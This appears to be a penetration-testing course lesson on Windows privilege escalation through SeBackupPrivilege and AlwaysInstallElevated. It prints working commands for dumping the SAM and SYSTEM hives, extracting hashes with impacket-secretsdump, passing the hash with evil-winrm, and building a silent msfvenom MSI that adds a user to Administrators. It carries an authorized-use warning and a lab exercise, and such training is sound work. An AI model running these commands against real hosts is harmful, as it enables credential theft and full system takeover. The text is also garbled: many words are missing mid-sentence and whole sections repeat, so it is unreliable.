Dangerous Privileges and Installers

SeBackup reads any file, AlwaysInstallElevated runs your MSI as SYSTEM. Both are gifts admins leave behind.

17 minwindowsprivilege-escalationprivilegesinstallers

What you will learn

-Abuse SeBackupPrivilege to read files your account cannot open normally
-Detect and exploit AlwaysInstallElevated for a SYSTEM MSI
-Recognize other high-value privileges on a token

Not every path to is a service or a trick. Some Windows privileges and settings are so powerful that having them at all is the . You already know to read whoami /priv first. This lesson is what to do when the interesting line isn't SeImpersonatePrivilege.

SeBackupPrivilege

Backup Operators exist to copy files for backups, so their privilege ignores file ACLs on read. That means you can read files your account has no business opening, including the that hold hashes. You don't to run code, but you get the hashes, and hashes are as good as a login.

The move is to dump the and SYSTEM hives, pull them to your box, and extract hashes offline.

attacker@kali

# SeBackup lets this succeed even without admin rights on the key

$reg save HKLM\SAM C:\Temp\sam.hive

# SYSTEM hive holds the boot key that decrypts SAM

$reg save HKLM\SYSTEM C:\Temp\system.hive

Copy both files off the , then crack them open with impacket on your attacker box.

attacker@kali

$impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Reconstructs the local account NT hashes. Take the Administrator hash straight into a pass-the-hash login with evil-winrm.

Once you have the local , you rarely need to crack it. Pass it directly: evil-winrm -i TARGET -u Administrator -H <nthash>.

AlwaysInstallElevated

This one is pure carelessness. When both a machine-wide and a per-user registry value are set to 1, Windows installs any MSI package with SYSTEM privileges, no matter who runs it. Check both keys, because it only works when both are on.

attacker@kali

# Machine-wide half

$reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Per-user half, both must read 0x1

$reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1, build a malicious MSI and run it. msfvenom makes the package.

attacker@kali

# Adds you to Administrators when the MSI installs as SYSTEM

$msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f msi -o eco.msi

# /quiet and /qn suppress the installer UI

$msiexec /quiet /qn /i C:\Temp\eco.msi

The rest of the token

A few other privileges are worth knowing on sight. SeRestorePrivilege is the write-side twin of SeBackup and lets you overwrite protected files, including swapping a binary that runs as SYSTEM. SeTakeOwnership lets you seize any object and then re-ACL it to yourself. SeDebugPrivilege, usually only on admins already, lets you inject into a SYSTEM process. If you see one of these Enabled and you're not admin, you have a path.

Authorized targets only

Dumping SAM hashes and installing a SYSTEM MSI both give you full of the host and its . Only do this on machines you own or are explicitly authorized to test. Never exfiltrate real credential material outside an authorized engagement.

Why the hash is enough

Windows local auth accepts the NT hash directly through , so a login needs no . That is why SeBackup, which only reads files, still ends the game: it hands you the hash, and the hash in.

You find AlwaysInstallElevated set to 0x1 only under HKCU, and 0x0 under HKLM. Can you exploit it?

Exercise

On a lab box, query both AlwaysInstallElevated keys and check whoami /priv for SeBackupPrivilege. For whichever one is present, write the exact next command you would run and what it gives you.

Token Impersonation Hunting for Credentials

SeBackupPrivilege

The move is to dump the and SYSTEM hives, pull them to your box, and extract hashes offline.

attacker@kali

# SeBackup lets this succeed even without admin rights on the key

$reg save HKLM\SAM C:\Temp\sam.hive

# SYSTEM hive holds the boot key that decrypts SAM

$reg save HKLM\SYSTEM C:\Temp\system.hive

Copy both files off the , then crack them open with impacket on your attacker box.

attacker@kali

$impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Reconstructs the local account NT hashes. Take the Administrator hash straight into a pass-the-hash login with evil-winrm.

Once you have the local , you rarely need to crack it. Pass it directly: evil-winrm -i TARGET -u Administrator -H <nthash>.

AlwaysInstallElevated

attacker@kali

# Machine-wide half

$reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Per-user half, both must read 0x1

$reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1, build a malicious MSI and run it. msfvenom makes the package.

attacker@kali

# Adds you to Administrators when the MSI installs as SYSTEM

$msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f msi -o eco.msi

# /quiet and /qn suppress the installer UI

$msiexec /quiet /qn /i C:\Temp\eco.msi

The rest of the token

Authorized targets only

Why the hash is enough

Windows local auth accepts the NT hash directly through , so a login needs no . That is why SeBackup, which only reads files, still ends the game: it hands you the hash, and the hash in.

You find AlwaysInstallElevated set to 0x1 only under HKCU, and 0x0 under HKLM. Can you exploit it?

Exercise

On a lab box, query both AlwaysInstallElevated keys and check whoami /priv for SeBackupPrivilege. For whichever one is present, write the exact next command you would run and what it gives you.